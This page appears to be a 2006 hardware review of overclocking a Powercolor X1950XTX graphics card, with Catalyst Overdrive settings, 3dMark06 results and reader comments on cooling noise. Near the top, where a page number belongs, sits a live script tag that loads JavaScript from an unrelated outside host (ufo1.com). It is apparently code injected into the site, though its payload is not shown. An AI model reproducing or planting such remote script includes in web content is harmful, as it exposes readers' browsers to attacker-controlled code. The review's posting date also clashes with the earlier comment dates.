Powercolor X1950XTX

Overclocking and 3dMark06 Overclocked

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 07/09/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Powercolor


Overclocking


I am simply using the ATI Catalyst Control Centre "Overdrive" facility to overclock this card on stock air...out of the box. No voltage tweaks or external overclocking facilities have been used at all. Please also bear in mind that the driver I am using is a beta driver, giving additional support for the card before an official release supports it.

Here's what I got just doing a "quick" overclock:

overclock x1950xtx

This result was pretty strange. I actually managed to attain a higher frequency on the memory (1056MHz), but the core would not overclock anyahere near as well. I settled for a higher core clock and lower memory clock for the benchmark run.


3dMark06 Overclocked

With a nice gain over the stock 3dMark06 score, this shows that with better driver support, and maybe some voltage tweaks, the X1950XTX will be a very good overclocker. I'm pretty sure some of the Xtreme overclockers among us will be tearing up the ORB with this card or even a pair in crossfire.


overclock x195xtx


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Most Recent Comments

14-06-2006, 19:23:28

FarFarAway
I take a look at Powercolor's top-end card and put it through its paces

click here

14-06-2006, 19:30:19

NickS
Nice review. Good pix & benches too, Kempez Very thorough. You should use that card, hehe..your GTX get's smacked around by both cards lol, it's depressing (for you at least).

14-06-2006, 19:34:31

FarFarAway
Nah not depressed.

3 reasons:

1: nVidia's drivers are better

2: My GTX doesn't sound like its about to take off

3: I know I'll change my card when DX10 cards come out



Nice card tho

14-06-2006, 20:13:44

NickS
LOL good point. The X1K is quite loud, but christ ever stick your hand back there? Pushes at least 60 CFM at 100% if not more.

Nick

14-06-2006, 20:27:58

FarFarAway
Quote:
Originally Posted by NickS
LOL good point. The X1K is quite loud, but christ ever stick your hand back there? Pushes at least 60 CFM at 100% if not more.

Nick
Yeah but the nvidea cooling fan has a great throughput with none of the sound. the cooler on the GTX is far superior IMO

14-06-2006, 20:35:14

Raging
sweet reveiw mate and agreed nvidia's cooling solution is very capable sound-performance wise .

cheers.
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